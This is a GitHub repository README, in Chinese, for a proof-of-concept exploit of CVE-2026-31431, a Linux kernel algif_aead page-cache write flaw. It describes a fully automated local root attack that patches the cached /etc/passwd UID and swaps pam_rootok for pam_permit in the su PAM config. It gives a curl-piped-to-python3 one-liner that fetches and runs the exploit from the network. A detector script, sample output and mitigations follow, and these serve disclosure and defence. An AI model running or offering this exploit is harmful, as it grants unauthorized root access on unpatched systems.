mfloresdacunha/CVE-2026-31431

GitHub: mfloresdacunha/CVE-2026-31431

针对 Linux 内核 algif_aead 子系统页缓存写入漏洞(CVE-2026-31431)的本地提权 PoC,通过污染页缓存篡改身份认证文件实现无密码获取 root 权限。

Stars: 0 | Forks: 0

# CVE-2026-31431 — "Copy Fail" 本地提权漏洞 ## 概述 CVE-2026-31431 是 Linux 内核 `algif_aead` 子系统中的一个本地提权漏洞。`authencesn` AEAD 实现通过 `splice(2)` 执行就地解密时,会将一个页缓存页放入目标 scatterlist 中。在验证身份验证标签之前,AAD 中的一个 4 字节值 (`seqno_lo`) 会被写回该页缓存页中——这使得无特权的用户可以覆盖任何全局可读文件的内核页缓存中的任意字节。 **受影响的内核:** 6.12、6.17、6.18 稳定版系列(上游修复之前的版本) **所需前提条件:** `AF_ALG` 套接字,`authencesn(hmac(sha256),cbc(aes))` 密码,通过 `splice(2)` 拼接到 `AF_ALG` 套接字 fd **影响:** 本地提权至 root——完全自动化,无需密码 ## 工作原理 该漏洞利用程序按顺序应用两个页缓存补丁,然后自动执行 `su`: 1. **`/etc/passwd` 补丁** — 打开文件(全局可读),填充其页缓存,然后使用 `authencesn` splice 原语将运行用户的 4 位 UID 字段翻转为 `0000`。应用补丁后,`getpwnam()` 会将该用户报告为 UID 0。 2. **`/etc/pam.d/su` 补丁** — `pam_rootok.so` 和 `pam_permit.so` 的长度均恰好为 13 个字符。两次 4 字节写入将 PAM 配置页缓存中的 `pam_rootok.so` 替换为 `pam_permit.so`。由于 `pam_permit` 总是返回 `PAM_SUCCESS`,因此现有的 `auth sufficient` 行会立即触发——不会提示输入密码。 3. **自动获取 shell** — 脚本执行 `su `。PAM 无需密码即可进行身份验证(步骤 2),随后 `setuid(0)` 成功执行,因为 `getpwnam()` 报告 UID 为 0(步骤 1)。在无需用户交互的情况下即可返回一个 root shell。 在此过程中的任何时刻都不会发生磁盘写入。丢弃页缓存(`echo 3 > /proc/sys/vm/drop_caches`)或重启系统即可完全还原这两个补丁。 ## 用法 ### 单行命令 ``` curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3 ``` 将自动返回一个 root shell —— 无需密码。 ### 手动执行 ``` git clone https://github.com/mfloresdacunha/CVE-2026-31431.git cd CVE-2026-31431 TARGET_USER=$(whoami) python3 exploit.py ``` ### 清理(从 root shell 中执行) ``` echo 3 | tee /proc/sys/vm/drop_caches ``` ## 要求 - Linux 内核 6.12–6.18(未打补丁) - 启用 `AF_ALG` 套接字支持(大多数发行版的标准配置) - 可加载 `authencesn(hmac(sha256),cbc(aes))`(大多数发行版的标准配置) - Python 3.6+ - 4 位数的 UID(1000–9999) ## 检测 `test_cve_2026_31431.py` 是本仓库中附带的一个安全、只读的检测程序。它在一个临时目录中创建的临时哨兵文件上测试 `algif_aead` splice 原语——绝不会触碰任何系统文件。它会打印判定结果并以定义明确的退出代码退出: | 退出代码 | 含义 | |-----------|---------| | `0` | **不受影响** —— 未满足前提条件或页缓存未被修改 | | `1` | 测试错误(例如 `AF_ALG` 不可用,splice 不受支持) | | `2` | **存在漏洞** —— 标记字节已落入拼接的页缓存页中 | **运行它:** ``` # One-liner (无需安装) curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3 echo "Exit code: $?" # 或者从本地 clone git clone https://github.com/mfloresdacunha/CVE-2026-31431.git cd CVE-2026-31431 python3 test_cve_2026_31431.py echo "Exit code: $?" ``` **在存在漏洞的内核上的示例输出:** ``` [*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64 [+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met. [!] VULNERABLE to CVE-2026-31431. [!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24. [!] Surrounding bytes: 00000000504d4e4400000000 (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00') [!] Apply the upstream fix or block algif_aead immediately. ``` **在已打补丁的内核上的示例输出:** ``` [*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64 [+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met. [+] Page cache intact. NOT vulnerable on this kernel. ``` ## 缓解措施 - 应用上游内核补丁。 - 通过 `/etc/modprobe.d` 阻止 `algif_aead`:`install algif_aead /bin/false` - 使用 seccomp 或 LSM 策略限制 `AF_ALG` 套接字。 ## 参考文献 - [Copy Fail 漏洞披露](https://copy.fail) - 上游修复:`net/tls` + `crypto/algif_aead` — authencesn 就地目标 scatterlist 隔离
标签:0day挖掘, 0day漏洞, AF_ALG, algif_aead, authencesn, Copy Fail, CSV导出, CVE-2026-31431, Linux内核漏洞, LPE, PAM绕过, PoC, splice, UID欺骗, Web报告查看器, 任意文件写入, 内核利用, 内核安全, 利用代码, 协议分析, 安全渗透, 提权脚本, 暴力破解, 本地提权, 权限提升, 漏洞分析, 漏洞复现, 网络安全, 路径探测, 逆向工具, 隐私保护, 页缓存